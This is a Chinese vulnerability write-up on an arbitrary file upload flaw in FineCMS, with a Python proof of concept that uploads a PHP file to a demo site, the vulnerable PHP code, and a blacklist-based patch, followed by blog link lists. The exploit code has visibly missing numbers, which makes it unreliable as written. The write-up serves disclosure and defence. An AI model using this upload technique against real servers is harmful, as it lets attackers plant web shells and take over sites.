catalog

. 漏洞描述
. 漏洞触发条件
. 漏洞影响范围
. 漏洞代码分析
. 防御方法
. 攻防思考

1. 漏洞描述

Relevant Link:

http://www.wooyun.org/bugs/wooyun-2015-0105251


2. 漏洞触发条件

0x1: POC

#!/usr/bin/env python
# -*- coding: utf- -*-
#__author__ = '1c3z' import urllib2
import random fileName = "shell" + str(random.randrange(,)) + ".php"
target = "http://v1.finecms.net/dayrui/libraries/Chart/ofc_upload_image.php" def uploadShell():
url = target + "?name=" + fileName
req = urllib2.Request(url, headers={"Content-Type": "application/oct"})
res = urllib2.urlopen(req, data="<?print(md5(0x22))?>")
return res.read() def poc():
res = uploadShell()
if res.find("tmp-upload-images") == -:
print "Failed !"
return print "upload Shell success"
url = "http://v1.finecms.net/dayrui/libraries/tmp-upload-images/" + fileName
md5 = urllib2.urlopen(url).read()
if md5.find("e369853df766fa44e1ed0ff613f563bd") != -:
print "poc: " + url poc()


3. 漏洞影响范围
4. 漏洞代码分析

/dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/';
if (!file_exists($default_path)) mkdir($default_path, , true);
$destination = $default_path . basename( $_GET[ 'name' ] );
echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

程序未对上传文件进行任何后缀、内容的检测和过滤


5. 防御方法

/dayrui/libraries/Chart/ofc_upload_image.php

$default_path = '../tmp-upload-images/';
if (!file_exists($default_path))
mkdir($default_path, , true); $destination = $default_path . basename( $_GET[ 'name' ] ); /* */
if (preg_match('#\.(php|pl|cgi|asp|aspx|jsp|php5|php4|php3|shtm|shtml)[^a-zA-Z0-9]+$#i', trim($destination)))
{
die("你指定的文件名被系统禁止!");
}
/* */ echo 'Saving your image to: '. $destination; $jfh = fopen($destination, 'w') or die("can't open file");
fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

最新文章

  1. 服务器Config文件不能查看的问题
  2. JQuery 实现锚点链接之间的平滑滚动
  3. .NET并行编程 - 并行方式
  4. hdu 2546 饭卡 删除一个数的01背包
  5. [HDOJ5289]Assignment(RMQ,二分)
  6. HW6.5
  7. 《sql注入攻击与防御 第2版》的总结 之 如何确定有sql注入漏洞
  8. mysql用root用户启动后其他用户无法启动不问题
  9. Spring、AOP详解
  10. C# The process cannot access the file because it is being used by another process
  11. centos command中 * . 的重要性
  12. 利用JavaScript来切换样式表
  13. 大道至简第一章读后感Java伪代码
  14. 自学Aruba之路
  15. 关于if后面直接加上参数名,不加条件的用法
  16. 【Android 应用开发】 Android 相关代码规范 更新中 ...
  17. c++检查内存泄漏
  18. Spring boot actuator端点启用和暴露
  19. Git中的文件上传、修改、撤消修改和删除
  20. 01-Socket服务器

热门文章

  1. 使用JavaScript打印网页指定DIV区域
  2. Hadoop: MapReduce2的几个基本示例
  3. opencv 中对一个像素的rgb值或像素值进行操作的几个常用小办法【转】
  4. LeetCode 解题报告索引
  5. StackExchange.Redis--纯干货喂饱你
  6. 支持向量机通俗导论(理解SVM的三层境界)
  7. &lt;html&gt;中的action
  8. iOS--更新cooped库
  9. 【Quartz】Quartz的搭建、应用(单独使用Quartz)
  10. 堆 poj 2442